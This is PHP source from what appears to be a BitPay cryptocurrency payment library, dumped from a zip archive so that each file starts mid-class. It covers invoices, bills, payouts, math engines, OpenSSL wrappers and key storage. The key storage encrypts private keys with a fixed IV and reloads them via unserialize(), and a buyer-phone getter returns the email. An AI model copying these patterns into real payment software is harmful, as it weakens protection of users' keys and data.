$this->method = $method; } /** * @inheritdoc */ public function getSchema() { return 'https'; } /** * @inheritdoc */ public function getUri() { return sprintf( '%s://%s/%s', $this->getSchema(), $this->getHost(), $this->getPath() ); } /** * @inheritdoc */ public function getUriWithPort() { return sprintf( '%s://%s:%s/%s', $this->getSchema(), $this->getHost(), $this->getPort(), $this->getPath() ); } /** * @inheritdoc */ public function getHost() { return $this->host; } /** * Sets the host for the request * * @param string $host */ public function setHost($host) { $this->host = $host; return $this; } /** * @inheritdoc */ public function getHeaders() { // remove invalid headers $headers = $this->headers; foreach ($headers as $header => $value) { if (empty($header) || empty($value)) { unset($headers[$header]); } } return $headers; } public function getHeaderFields() { $fields = array(); foreach ($this->getHeaders() as $header => $value) { $fields[] = sprintf('%s: %s', $header, $value); } return $fields; } /** * @return string */ public function getHeadersAsString() { $headers = $this->getHeaders(); $return = ''; foreach ($headers as $h => $v) { $return .= sprintf("%s: %s\r\n", $h, $v); } return $return."\r\n"; } /** * Set a http header for the request * * @param string $header * @param string $value */ public function setHeader($header, $value) { if (is_array($value)) { throw new \Exception('Could not set the header: '.$header); } $this->headers[$header] = $value; } /** * @inheritdoc */ public function getBody() { return $this->body; } /** * The the body of the request * * @param string $body */ public function setBody($body) { $this->body = $body; $this->setHeader('Content-Length', strlen($body)); return $this; } /** * @inheritdoc */ public function getPath() { return $this->path; } /** * @param string $host */ public function setPath($path) { $this->path = $path; return $this; } } PK\߮+payment/bitpay/Bitpay/PayoutInstruction.phpnu[transactions = array(); } /** * @inheritdoc */ public function getId() { return $this->id; } /** * Set the Bitpay ID for this payout instruction * * @param $id * @return $this */ public function setId($id) { if (!empty($id)) { $this->id = trim($id); } return $this; } /** * @inheritdoc */ public function getLabel() { return $this->label; } /** * Set the employers label for this instruction. * @param $label * @return $this */ public function setLabel($label) { if (!empty($label)) { $this->label = trim($label); } return $this; } /** * @inheritdoc */ public function getAddress() { return $this->address; } /** * Set the bitcoin address for this instruction. * @param $address * @return $this */ public function setAddress($address) { if (!empty($address)) { $this->address = trim($address); } return $this; } /** * @inheritdoc */ public function getAmount() { return $this->amount; } /** * Set the amount for this instruction. * @param $amount * @return $this */ public function setAmount($amount) { if (!empty($amount)) { $this->amount = $amount; } return $this; } /** * @inheritdoc */ public function getBtc() { return $this->btc; } /** * Set BTC array (available once rates are set) * @param $btc * @return $this */ public function setBtc($btc) { if (!empty($btc) && is_array($btc)) { $this->btc = $btc; } return $this; } /** * @inheritdoc */ public function getStatus() { return $this->status; } /** * Set the status for this instruction * @param $status * @return $this */ public function setStatus($status) { if (!empty($status) && ctype_print($status)) { $this->status = trim($status); } return $this; } /** * @inheritdoc */ public function getTransactions() { return $this->transactions; } /** * Add payout transaction to the * @param PayoutTransactionInterface $transaction * @return $this */ public function addTransaction(PayoutTransactionInterface $transaction) { if (!empty($transaction)) { $this->transactions[] = $transaction; } return $this; } } PK\~|(payment/bitpay/Bitpay/Math/GmpEngine.phpnu[input($a); $b = $this->input($b); return bcadd($a, $b); } /** * @param String $a Numeric String * @param String $b Numeric String */ public function cmp($a, $b) { $a = $this->input($a); $b = $this->input($b); return bccomp($a, $b); } /** * @param String $a Numeric String * @param String $b Numeric String */ public function div($a, $b) { $a = $this->input($a); $b = $this->input($b); return bcdiv($a, $b); } /** * Finds inverse number $inv for $num by modulus $mod, such as: * $inv * $num = 1 (mod $mod) * * @param string $num * @param string $mod * @return string * @access public */ public function invertm($num, $mod) { $num = $this->input($num); $mod = $this->input($mod); $x = '1'; $y = '0'; $num1 = $mod; do { $tmp = bcmod($num, $num1); $q = bcdiv($num, $num1); $num = $num1; $num1 = $tmp; $tmp = bcsub($x, bcmul($y, $q)); $x = $y; $y = $tmp; } while (bccomp($num1, '0')); if (bccomp($x, '0') < 0) { $x = bcadd($x, $mod); } if (substr($num, 0, 1) === '-') { $x = bcsub($mod, $x); } return $x; } /** * @param String $a Numeric String * @param String $b Numeric String */ public function mod($a, $b) { $a = $this->input($a); $b = $this->input($b); if (substr($a, 0, 1) === '-') { return bcadd(bcmod($a, $b), $b); } return bcmod($a, $b); } /** * @param String $a Numeric String * @param String $b Numeric String */ public function mul($a, $b) { $a = $this->input($a); $b = $this->input($b); return bcmul($a, $b); } /** * @param String $a Numeric String * @param String $b Numeric String */ public function pow($a, $b) { $a = $this->input($a); $b = $this->input($b); return bcpow($a, $b); } /** * @param String $a Numeric String * @param String $b Numeric String */ public function sub($a, $b) { $a = $this->input($a); $b = $this->input($b); return bcsub($a, $b); } public function input($x) { if (empty($x)) { return '0'; } $x = strtolower(trim($x)); if (preg_match('/^(-?)0x([0-9a-f]+)$/', $x, $matches)) { $sign = $matches[1]; $hex = $matches[2]; for ($dec = '0', $i = 0; $i < strlen($hex); $i++) { $current = strpos('0123456789abcdef', $hex[$i]); $dec = bcadd(bcmul($dec, 16), $current); } return $sign.$dec; } elseif (preg_match('/^-?[0-9]+$/', $x)) { return $x; } else { throw new \Exception("The input must be a numeric string in decimal or hexadecimal (with leading 0x) format.\n".var_export($x, true)); } } /** * Function to determine if two numbers are * co-prime according to the Euclidean algo. * * @param string $a First param to check. * @param string $b Second param to check. * @return bool Whether the params are cp. */ public function coprime($a, $b) { $small = 0; $diff = 0; while (bccomp($a, '0') > 0 && bccomp($b, '0') > 0) { if (bccomp($a, $b) == -1) { $small = $a; $diff = bcmod($b, $a); } if (bccomp($a, $b) == 1) { $small = $b; $diff = bcmod($a, $b); } if (bccomp($a, $b) == 0) { $small = $a; $diff = bcmod($b, $a); } $a = $small; $b = $diff; } if (bccomp($a, '1') == 0) { return true; } return false; } } PK\C`a!payment/bitpay/Bitpay/Bill.phpnu[address = array(); $this->archived = false; $this->currency = new Currency(); $this->items = array(); } /** * @inheritdoc */ public function getItems() { return $this->items; } /** * @param ItemInterface $item * * @return BillInterface */ public function addItem(ItemInterface $item) { if (!empty($item)) { $this->items[] = $item; } return $this; } /** * @inheritdoc */ public function getCurrency() { return $this->currency; } /** * @param CurrencyInterface $currency * * @return BillInterface */ public function setCurrency(CurrencyInterface $currency) { if (!empty($currency)) { $this->currency = $currency; } return $this; } /** * @inheritdoc */ public function getName() { return $this->name; } /** * @param string $name * * @return BillInterface */ public function setName($name) { if (!empty($name) && ctype_print($name)) { $this->name = trim($name); } return $this; } /** * @inheritdoc */ public function getAddress() { return $this->address; } /** * @param array $address * * @return BillInterface */ public function setAddress($address) { if (!empty($address) && is_array($address)) { $this->address = $address; } return $this; } /** * @inheritdoc */ public function getCity() { return $this->city; } /** * @param string $city * * @return BillInterface */ public function setCity($city) { if (!empty($city) && ctype_print($city)) { $this->city = trim($city); } return $this; } /** * @inheritdoc */ public function getState() { return $this->state; } /** * @param string $state * * @return BillInterface */ public function setState($state) { if (!empty($state) && ctype_print($state)) { $this->state = trim($state); } return $this; } /** * @inheritdoc */ public function getZip() { return $this->zip; } /** * @param string $zip * * @return BillInterface */ public function setZip($zip) { if (!empty($zip) && ctype_print($zip)) { $this->zip = trim($zip); } return $this; } /** * @inheritdoc */ public function getCountry() { return $this->country; } /** * @param string $country * * @return BillInterface */ public function setCountry($country) { if (!empty($country) && ctype_print($country)) { $this->country = trim($country); } return $this; } /** * @inheritdoc */ public function getEmail() { return $this->email; } /** * @param string $email * * @return BillInterface */ public function setEmail($email) { if (!empty($email) && ctype_print($email)) { $this->email = trim($email); } return $this; } /** * @inheritdoc */ public function getPhone() { return $this->phone; } /** * @param string $phone * * @return BillInterface */ public function setPhone($phone) { if (!empty($phone) && ctype_print($phone)) { $this->phone = trim($phone); } return $this; } /** * @inheritdoc */ public function getStatus() { return $this->status; } /** * @param string $status * * @return BillInterface */ public function setStatus($status) { if (!empty($status) && ctype_print($status)) { $this->status = trim($status); } return $this; } /** * @inheritdoc */ public function getShowRate() { return $this->showRate; } /** * @param string $showRate * * @return BillInterface */ public function setShowRate($showRate) { if (!empty($showRate) && ctype_print($showRate)) { $this->showRate = trim($showRate); } return $this; } /** * @inheritdoc */ public function getArchived() { return $this->archived; } /** * @param boolean $archived * * @return BillInterface */ public function setArchived($archived) { $this->archived = (boolean) $archived; return $this; } } PK\6օ770payment/bitpay/Bitpay/Crypto/CryptoInterface.phpnu[ $digest_alg, 'private_key_bits' => (int) $keybits, 'private_key_type' => OPENSSL_KEYTYPE_RSA, ); $resource = openssl_pkey_new($config); if (!$resource) { throw new \Exception('Error in generateOpenSSLKeypair: Could not create new OpenSSL resource.'); /* with the openssl extension, you also have it's own errors returned */ while ($msg = openssl_error_string()) { throw new \Exception('Error in generateOpenSSLKeypair: OpenSSL reported error: '.$msg); } return false; } if (openssl_pkey_export($resource, $keypair['pri'])) { $publickey = openssl_pkey_get_details($resource); $keypair['pub'] = $publickey['key']; } else { throw new \Exception('Error in generateOpenSSLKeypair: Private key could not be determined from OpenSSL key resource.'); while ($msg = openssl_error_string()) { throw new \Exception('Error in generateOpenSSLKeypair: OpenSSL reported error: '.$msg); } return false; } openssl_pkey_free($resource); return $keypair; } else { throw new \Exception('Error in generateOpenSSLKeypair: OpenSSL PHP extension missing. Cannot continue.'); return false; } } catch (Exception $e) { while ($msg = openssl_error_string()) { throw new \Exception('Error in generateOpenSSLKeypair: OpenSSL reported error: '.$msg); } throw $e; return false; } } /** * Generates a high-quality random number suitable for * use in cryptographic functions and returns hex value. * * @param int * @return string|bool */ final public function randomNumber($bytes = 32) { $random_data = openssl_random_pseudo_bytes($bytes, $cstrong); if (!$cstrong || !$random_data) { return false; } else { return bin2hex($random_data); } } /** * Returns the cipher length on success, or FALSE * on failure. (PHP 5 >= PHP 5.3.3) * * @param string * @return int|bool */ final public function cypherIVLength($cypher = '') { return openssl_cipher_iv_length($cypher); } /** * Takes the Certificate Signing Request represented * by $csr and saves it as ascii-armoured text into * the file named by $outfilename. * (PHP 4 >= 4.2.0, PHP 5) * * @param resource * @param string * @param bool * @return bool */ final public function saveCSRtoFile($csr, $outfilename, $notext = true) { if (!is_resource($csr)) { return false; } return openssl_csr_export_to_file($csr, $outfilename, $notext); } /** * Takes the Certificate Signing Request represented * by $csr and stores it as ascii-armoured text into * $out, which is passed by reference. * (PHP 4 >= 4.2.0, PHP 5) * * @param resource * @param string * @param bool * @return bool */ final public function saveCSRtoString($csr, $out, $notext = true) { if (!is_resource($csr)) { return false; } return openssl_csr_export($csr, $out, $notext); } } PK\$W;.payment/bitpay/Bitpay/Crypto/HashExtension.phpnu[= 5.1.2, PECL hash >= 1.1) * * @return array */ public function getAlgos() { return hash_algos(); } /** * Copy a hashing context. * (PHP 5 >= 5.3.0) * * @param resource * @return resource */ final public function copy($context) { if (!is_resource($context)) { return false; } return hash_copy($context); } /** * Compares two strings using the same time * whether they're equal or not. This function * should be used to mitigate timing attacks; * for instance, when testing crypt() password * hashes. * (PHP 5 >= 5.6.0) * * @param string * @param string */ public function equals($string1, $string2) { if (!is_string($string1) || !is_string($string2)) { return false; } return hash_equals($string1, $string2); } /** * Generate a hash value using the contents of * a given file. Returns a string containing * the calculated message digest as lowercase * hexits unless raw_output is set to true in * which case the raw binary representation of * the message digest is returned. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param string * @param string * @param bool * @return string */ public function file($algorithm, $filename, $raw_output = false) { return hash_file($algorithm, (string) $filename, $raw_output); } /** * Finalize an incremental hash and return * resulting digest. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param resource * @param bool * @return string */ public function finalize($context, $raw_output = false) { if (!is_resource($context)) { return false; } return hash_final($context, $raw_output); } /** * Generate a keyed hash value using the HMAC * method and the contents of a given file. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param string * @param string * @param string * @param bool * @return string */ public function hmacFile($algorithm, $filename, $key, $raw_output = false) { return hash_hmac_file($algorithm, $filename, $key, $raw_output); } /** * Generate a keyed hash value using the HMAC * method and the message passed via $data. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param string * @param string * @param string * @param bool * @return string */ public function hmac($algo, $data, $key, $raw_output = false) { return hash_hmac($algo, $data, $key, $raw_output); } /** * Initialize an incremental hashing context and * returns a Hashing Context resource for use with * hash_update(), hash_update_stream(), hash_update_file(), * and hash_final(). Note: the only option possible * for $options at this time is HASH_HMAC. When * this is specified, the key *must* be used as well. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param string * @param int * @param string * @return resource */ public function init($algorithm, $options = 0, $key = null) { return hash_init($algorithm, $options, $key); } /** * Generate a PBKDF2 key derivation of a supplied * password. An E_WARNING will be raised if the * algorithm is unknown, the iterations parameter * is less than or equal to 0, the length is less * than 0 or the salt is too long (greater than * INT_MAX - 4). The salt should be generated * randomly with openssl_ramdom_pseudo_bytes(). * (PHP 5 >= 5.5.0) * * @param string * @param string * @param string * @param int * @param int * @param bool * @return string */ public function pbkdf2($algo, $password, $salt, $iterations, $length = 0, $raw_output = false) { return hash_pbkdf2($algo, $password, $salt, $iterations, $length, $raw_output); } /** * Pump data into an active hashing context * from a file. Returns TRUE on success or * FALSE on failure. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param resource * @param string * @param resource * @return bool */ public function updateFile($hcontext, $filename, $scontext = null) { if (!is_resource($hcontext)) { return false; } return hash_update_file($hcontext, $filename, $scontext); } /** * Pump data into an active hashing context * from an open stream. Returns the actual * number of bytes added to the hashing * context from handle. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param resource * @param resource * @param int * @return int */ public function updateStream($context, $handle, $length = -1) { if (!is_resource($context) || !is_resource($handle)) { return false; } return hash_update_stream($context, $handle, $length); } /** * Pump data into an active hashing context. * The PHP function itself only returns true. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param resource * @param string * @return bool */ public function update($context, $data) { if (!is_resource($context)) { return false; } return hash_update($context, $data); } /** * Generate a hash value (message digest) * based on the request algorithm and the * provided data. Outputs hex unless the * $raw_output param is set to true. * (PHP 5 >= 5.1.2, PECL hash >= 1.1) * * @param string * @param string * @param bool * @return string */ public function generate($algo, $data, $raw_output = false) { if (empty($data)) { return false; } return hash($algo, $data, $raw_output); } } PK\J payment/bitpay/Bitpay/Item.phpnu[physical = false; } /** * @inheritdoc */ public function getCode() { return $this->code; } /** * @param string $code * * @return ItemInterface */ public function setCode($code) { $this->code = $code; return $this; } /** * @inheritdoc */ public function getDescription() { return $this->description; } /** * @param string $description * * @return ItemInterface */ public function setDescription($description) { $this->description = $description; return $this; } /** * @inheritdoc * * @return float */ public function getPrice() { return $this->price; } /** * @param mixed $price A float, integer, or en_US formatted numeric string * * @return ItemInterface */ public function setPrice($price) { if (is_string($price)) { $this->checkPriceFormat($price); } $this->price = (float)$price; return $this; } /** * @inheritdoc */ public function getQuantity() { return $this->quantity; } /** * @param integer $quantity * * @return ItemInterface */ public function setQuantity($quantity) { $this->quantity = $quantity; return $this; } /** * @inheritdoc */ public function isPhysical() { return $this->physical; } /** * @param boolean $physical * * @return ItemInterface */ public function setPhysical($physical) { $this->physical = (boolean)$physical; return $this; } /** * Checks the new price to include BTC * values with more than 6 decimals. * * @param string $price The price value to check * @throws \Exception */ protected function checkPriceFormat($price) { if (preg_match('/^[0-9]+?[\.,][0-9]{1,6}?$/', $price) !== 1) { throw new \Bitpay\Client\ArgumentException("Price must be formatted as a float"); } } } PK\$?o'payment/bitpay/Bitpay/UserInterface.phpnu[schedule; } public function getBillData() { return array( 'currency' => $this->currency, 'price' => $this->price, 'quantity' => $this->quantity, 'dueDate' => $this->dueDate, 'token' => $this->token, 'items' => $this->items ); } } PK\'Q4payment/bitpay/Bitpay/PayoutTransactionInterface.phpnu[root('bitpay'); $rootNode ->children() ->scalarNode('public_key') ->info('Public Key Filename') ->defaultValue(getenv('HOME').'/.bitpay/api.pub') ->end() ->scalarNode('private_key') ->info('Private Key Filename') ->defaultValue(getenv('HOME').'/.bitpay/api.key') ->end() ->scalarNode('sin_key') ->info('Private Key Filename') ->defaultValue(getenv('HOME').'/.bitpay/api.sin') ->end() ->enumNode('network') ->values(array('livenet', 'testnet')) ->info('Network') ->defaultValue('livenet') ->end() ->enumNode('adapter') ->values(array('curl', 'mock')) ->info('Client Adapter') ->defaultValue('curl') ->end() ->append($this->addKeyStorageNode()) ->scalarNode('key_storage_password') ->info('Used to encrypt and decrypt keys when saving to filesystem') ->defaultNull() ->end() ->end(); return $treeBuilder; } /** * Adds the key_storage node with validation rules * * key_storage MUST: * * implement Bitpay\Storage\StorageInterface * * be a class that can be loaded */ protected function addKeyStorageNode() { $builder = new TreeBuilder(); $node = $builder->root('key_storage', 'scalar'); $node ->info('Class that is used to store your keys') ->defaultValue('Bitpay\Storage\EncryptedFilesystemStorage') ->validate() ->always() ->then(function ($value) { if (!class_exists($value)) { throw new \Exception( sprintf( 'Could not find class "%s".', $value ) ); } // requires PHP >= 5.3.7 if (!is_subclass_of($value, 'Bitpay\Storage\StorageInterface')) { throw new \Exception( sprintf( '"%s" does not implement "Bitpay\Storage\StorageInterface"', $value ) ); } return $value; }) ->end(); return $node; } } PK\"  %payment/bitpay/Bitpay/AccessToken.phpnu[useNonce = true; } /** * @param string $id * * @return AccessTokenInterface */ public function setId($id) { if (!empty($id) && is_string($id) && ctype_print($id)) { $this->id = trim($id); } return $this; } /** * @inheritdoc */ public function getId() { return $this->id; } /** * @param string $email * * @return AccessTokenInterface */ public function setEmail($email) { if (!empty($email) && is_string($email) && ctype_print($email)) { $this->email = trim($email); } return $this; } /** * @inheritdoc */ public function getEmail() { return $this->email; } /** * @param string $label * * @return AccessTokenInterface */ public function setLabel($label) { if (!empty($label) && is_string($label) && ctype_print($label)) { $this->label = trim($label); } return $this; } /** * @inheritdoc */ public function getLabel() { return $this->label; } /** * @inheritdoc */ public function isNonceDisabled() { return !($this->useNonce); } /** * Enable nonce usage * * @return AccessTokenInterface */ public function nonceEnable() { $this->useNonce = true; return $this; } /** * Disable nonce usage * * @return AccessTokenInterface */ public function nonceDisable() { $this->useNonce = false; return $this; } } PK\TCqq+payment/bitpay/Bitpay/PayoutTransaction.phpnu[txid; } /** * Set transaction ID for payout. * @param $txid * @return $this */ public function setTransactionId($txid) { if (!empty($txid)) { $this->txid = $txid; } return $this; } /** * @inheritdoc */ public function getAmount() { return $this->amount; } /** * Set the amount of bitcoin paid in the paout. * @param $amount * @return $this */ public function setAmount($amount) { if (!empty($amount)) { $this->amount = $amount; } return $this; } /** * @inheritdoc */ public function getDate() { return $this->date; } /** * Set the date and time of when the payment was sent. * @param $date * @return $this */ public function setDate($date) { if (!empty($date)) { $this->date = $date; } return $this; } } PK\v>;;=payment/bitpay/Bitpay/DependencyInjection/BitpayExtension.phpnu[processConfiguration(new Configuration(), $configs); foreach (array_keys($config) as $key) { $container->setParameter('bitpay.'.$key, $config[$key]); } $loader = new XmlFileLoader($container, new FileLocator(__DIR__)); $loader->load('services.xml'); $container->setParameter('network.class', 'Bitpay\Network\\'.ContainerBuilder::camelize($config['network'])); $container->setParameter( 'adapter.class', 'Bitpay\Client\Adapter\\'.ContainerBuilder::camelize($config['adapter']).'Adapter' ); $container->setParameter('key_storage.class', $config['key_storage']); } /** * @codeCoverageIgnore */ public function getAlias() { return 'bitpay'; } /** * @codeCoverageIgnore */ public function getNamespace() { return 'http://example.org/schema/dic/bitpay'; } /** * @codeCoverageIgnore */ public function getXsdValidationBasePath() { return false; } } PK\lX6payment/bitpay/Bitpay/DependencyInjection/services.xmlnu[ Bitpay\Network\Livenet Bitpay\Client\Adapter\CurlAdapter Bitpay\KeyManager Bitpay\Storage\FilesystemStorage %bitpay.key_storage_password% %bitpay.public_key% %bitpay.private_key% PK\&1v @payment/bitpay/Bitpay/DependencyInjection/Loader/ArrayLoader.phpnu[container = $container; } public function load($resource, $type = null) { // validation foreach (array_keys($resource) as $namespace) { if (in_array($namespace, array('imports', 'paramters', 'services'))) { continue; } if (!$this->container->hasExtension($namespace)) { $extensionNamespaces = array_filter( array_map( function ($ext) { return $ext->getAlias(); }, $this->container->getExtensions() ) ); throw new InvalidArgumentException(sprintf( 'There is no extension able to load the configuration for "%s". Looked for namespace "%s", found %s', $namespace, $namespace, $extensionNamespaces ? sprintf('"%s"', implode('", "', $extensionNamespaces)) : 'none' )); } } // Set Paramters if (isset($resource['parameters'])) { foreach ($resource['parameters'] as $key => $value) { $this->container->setParameter($key, $value); } } // extensions foreach ($resource as $namespace => $values) { if (in_array($namespace, array('imports', 'parameters', 'services'))) { continue; } if (!is_array($values)) { $values = array(); } $this->container->loadFromExtension($namespace, $values); } } public function supports($resource, $type = null) { return is_array($resource); } } PK\c2payment/bitpay/Bitpay/Storage/StorageInterface.phpnu[getId(); file_put_contents($path, serialize($key)); } /** * @inheritdoc */ public function load($id) { if (!is_file($id)) { throw new \Exception(sprintf('Could not find "%s"', $id)); } if (!is_readable($id)) { throw new \Exception(sprintf('"%s" cannot be read, check permissions', $id)); } return unserialize(file_get_contents($id)); } } PK\#<payment/bitpay/Bitpay/Storage/EncryptedFilesystemStorage.phpnu[password = $password; } /** * @inheritdoc */ public function persist(\Bitpay\KeyInterface $key) { $path = $key->getId(); $data = serialize($key); $encoded = bin2hex(openssl_encrypt( $data, self::METHOD, $this->password, 1, self::IV )); file_put_contents($path, $encoded); } /** * @inheritdoc */ public function load($id) { if (!is_file($id)) { throw new \Exception(sprintf('Could not find "%s"', $id)); } if (!is_readable($id)) { throw new \Exception(sprintf('"%s" cannot be read, check permissions', $id)); } $encoded = file_get_contents($id); $decoded = openssl_decrypt(\Bitpay\Util\Util::binConv($encoded), self::METHOD, $this->password, 1, self::IV); if (false === $decoded) { throw new \Exception('Could not decode key'); } return unserialize($decoded); } } PK\LΥ-payment/bitpay/Bitpay/Storage/MockStorage.phpnu[transactionSpeed = self::TRANSACTION_SPEED_MEDIUM; $this->fullNotifications = false; } /** * @inheritdoc */ public function getPrice() { return $this->getItem()->getPrice(); } /** * @param float $price * * @return InvoiceInterface */ public function setPrice($price) { if (!empty($price)) { $this->getItem()->setPrice($price); } return $this; } /** * @inheritdoc */ public function getCurrency() { return $this->currency; } /** * @param CurrencyInterface $currency * * @return InvoiceInterface */ public function setCurrency(CurrencyInterface $currency) { if (!empty($currency)) { $this->currency = $currency; } return $this; } /** * @inheritdoc */ public function getItem() { // If there is not an item already set, we need to use a default item // so that some methods do not throw errors about methods and // non-objects. if (null == $this->item) { $this->item = new Item(); } return $this->item; } /** * @param ItemInterface $item * * @return InvoiceInterface */ public function setItem(ItemInterface $item) { if (!empty($item)) { $this->item = $item; } return $this; } /** * @inheritdoc */ public function getBuyer() { // Same logic as getItem method if (null == $this->buyer) { $this->buyer = new Buyer(); } return $this->buyer; } /** * @param BuyerInterface $buyer * * @return InvoiceInterface */ public function setBuyer(BuyerInterface $buyer) { if (!empty($buyer)) { $this->buyer = $buyer; } return $this; } /** * @inheritdoc */ public function getTransactionSpeed() { return $this->transactionSpeed; } /** * @param string $transactionSpeed * * @return InvoiceInterface */ public function setTransactionSpeed($transactionSpeed) { if (!empty($transactionSpeed) && ctype_print($transactionSpeed)) { $this->transactionSpeed = trim($transactionSpeed); } return $this; } /** * @inheritdoc */ public function getNotificationEmail() { return $this->notificationEmail; } /** * @param string $notificationEmail * * @return InvoiceInterface */ public function setNotificationEmail($notificationEmail) { if (!empty($notificationEmail) && ctype_print($notificationEmail)) { $this->notificationEmail = trim($notificationEmail); } return $this; } /** * @inheritdoc */ public function getNotificationUrl() { return $this->notificationUrl; } /** * @param string $notificationUrl * * @return InvoiceInterface */ public function setNotificationUrl($notificationUrl) { if (!empty($notificationUrl) && ctype_print($notificationUrl)) { $this->notificationUrl = trim($notificationUrl); } return $this; } /** * @inheritdoc */ public function getRedirectUrl() { return $this->redirectUrl; } /** * @param string $redirectUrl * * @return InvoiceInterface */ public function setRedirectUrl($redirectUrl) { if (!empty($redirectUrl) && ctype_print($redirectUrl)) { $this->redirectUrl = trim($redirectUrl); } return $this; } /** * @inheritdoc */ public function getPosData() { return $this->posData; } /** * @param string $posData * * @return InvoiceInterface */ public function setPosData($posData) { if (!empty($posData)) { $this->posData = $posData; } return $this; } /** * @inheritdoc */ public function getStatus() { return $this->status; } /** * @param string $status * * @return InvoiceInterface */ public function setStatus($status) { if (!empty($status) && ctype_print($status)) { $this->status = trim($status); } return $this; } /** * @inheritdoc */ public function isFullNotifications() { return $this->fullNotifications; } public function setFullNotifications($notifications) { $this->fullNotifications = (boolean) $notifications; return $this; } /** * @inheritdoc */ public function getId() { return $this->id; } /** * @param string $id * * @return InvoiceInterface */ public function setId($id) { if (!empty($id) && ctype_print($id)) { $this->id = trim($id); } return $this; } /** * @inheritdoc */ public function getUrl() { return $this->url; } /** * @param string $url * * @return InvoiceInterface */ public function setUrl($url) { if (!empty($url) && ctype_print($url)) { $this->url = trim($url); } return $this; } /** * @inheritdoc */ public function getBtcPrice() { return $this->btcPrice; } /** * @param float $btcPrice * * @return InvoiceInterface */ public function setBtcPrice($btcPrice) { if (!empty($btcPrice)) { $this->btcPrice = $btcPrice; } return $this; } /** * @inheritdoc */ public function getInvoiceTime() { return $this->invoiceTime; } /** * @param DateTime $invoiceTime * * @return InvoiceInterface */ public function setInvoiceTime($invoiceTime) { if (!empty($invoiceTime)) { $this->invoiceTime = $invoiceTime; } return $this; } /** * @inheritdoc */ public function getExpirationTime() { return $this->expirationTime; } /** * @param DateTime $expirationTime * * return InvoiceInterface */ public function setExpirationTime($expirationTime) { if (!empty($expirationTime)) { $this->expirationTime = $expirationTime; } return $this; } /** * @inheritdoc */ public function getCurrentTime() { return $this->currentTime; } /** * @param DateTime $currentTime * * @return InvoiceInterface */ public function setCurrentTime($currentTime) { if (!empty($currentTime)) { $this->currentTime = $currentTime; } return $this; } /** * @inheritdoc */ public function getOrderId() { return $this->orderId; } /** * @param string $orderId * * @return InvoiceInterface */ public function setOrderId($orderId) { if (!empty($orderId) && ctype_print($orderId)) { $this->orderId = trim($orderId); } return $this; } /** * @inheritdoc */ public function getItemDesc() { return $this->getItem()->getDescription(); } /** * @inheritdoc */ public function getItemCode() { return $this->getItem()->getCode(); } /** * @inheritdoc */ public function isPhysical() { return $this->getItem()->isPhysical(); } /** * @inheritdoc */ public function getBuyerName() { $firstName = $this->getBuyer()->getFirstName(); $lastName = $this->getBuyer()->getLastName(); return trim($firstName.' '.$lastName); } /** * @inheritdoc */ public function getBuyerAddress1() { $address = $this->getBuyer()->getAddress(); return $address[0]; } /** * @inheritdoc */ public function getBuyerAddress2() { $address = $this->getBuyer()->getAddress(); return $address[1]; } /** * @inheritdoc */ public function getBuyerCity() { return $this->getBuyer()->getCity(); } /** * @inheritdoc */ public function getBuyerState() { return $this->getBuyer()->getState(); } /** * @inheritdoc */ public function getBuyerZip() { return $this->getBuyer()->getZip(); } /** * @inheritdoc */ public function getBuyerCountry() { return $this->getBuyer()->getCountry(); } /** * @inheritdoc */ public function getBuyerEmail() { return $this->getBuyer()->getEmail(); } /** * @inheritdoc */ public function getBuyerPhone() { return $this->getBuyer()->getEmail(); } /** * @inheritdoc */ public function getExceptionStatus() { return $this->exceptionStatus; } /** * @param * * @return InvoiceInterface */ public function setExceptionStatus($exceptionStatus) { $this->exceptionStatus = $exceptionStatus; return $this; } /** * @param void * @return */ public function getBtcPaid() { return $this->btcPaid; } /** * @param * @return Invoice */ public function setBtcPaid($btcPaid) { if (isset($btcPaid)) { $this->btcPaid = $btcPaid; } return $this; } /** * @param void * @return Invoice */ public function getRate() { return $this->rate; } /** * @param * @return */ public function setRate($rate) { if (!empty($rate)) { $this->rate = $rate; } return $this; } /** * @return TokenInterface */ public function getToken() { return $this->token; } /** * @param TokenInterface $token * @return InvoiceInterface */ public function setToken(TokenInterface $token) { $this->token = $token; return $this; } } PK\؅ߙ&payment/bitpay/Bitpay/KeyInterface.phpnu[x = (string) $x; $this->y = (string) $y; } /** * @return string */ public function __toString() { if ($this->isInfinity()) { return self::INFINITY; } return sprintf('(%s, %s)', $this->x, $this->y); } /** * @return string */ public function getX() { return $this->x; } /** * @return string */ public function getY() { return $this->y; } /** * @return boolean */ public function isInfinity() { return (self::INFINITY == $this->x || self::INFINITY == $this->y); } /** * @inheritdoc */ public function serialize() { return serialize(array($this->x, $this->y)); } /** * @inheritdoc */ public function unserialize($data) { list( $this->x, $this->y ) = unserialize($data); } } PK\7<5jj payment/bitpay/Bitpay/SinKey.phpnu[value; } /** * @param PublicKey * @return SinKey */ public function setPublicKey(PublicKey $publicKey) { $this->publicKey = $publicKey; return $this; } /** * Generates a Service Identification Number (SIN), see: * https://en.bitcoin.it/wiki/Identity_protocol_v1 * * @return SinKey */ public function generate() { if (is_null($this->publicKey)) { throw new \Exception('Public Key has not been set'); } $compressedValue = $this->publicKey; if (empty($compressedValue)) { throw new \Exception('The Public Key needs to be generated.'); } $step1 = Util::sha256(Util::binConv($compressedValue), true); $step2 = Util::ripe160($step1); $step3 = sprintf( '%s%s%s', self::SIN_VERSION, self::SIN_TYPE, $step2 ); $step4 = Util::twoSha256(Util::binConv($step3), true); $step5 = substr(bin2hex($step4), 0, 8); $step6 = $step3.$step5; $this->value = Base58::encode($step6); return $this; } /** * Checks to make sure that this SIN is a valid object. * * @return boolean */ public function isValid() { return (!is_null($this->value) && (substr($this->value, 0, 1) == 'T')); } } PK\G ||payment/alipay.phpnu[addText('partner')->setLabel( "Partner ID\n" . "Composed of 16 digits beginning with 2088" ); $form->addText('private_key', "class='el-wide'")->setLabel("Private Key"); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } function getSupportedCurrencies() { return array( 'GBP', 'HKD', 'USD', 'CHF', 'SGD', 'SEK', 'DKK', 'NOK', 'JPY', 'CAD', 'AUD', 'EUR', 'NZD', 'KRW', 'THB', 'CNY' ); } function signOutgoing(&$a) { ksort($a); $preSign = array(); foreach ($a as $k => $v) { 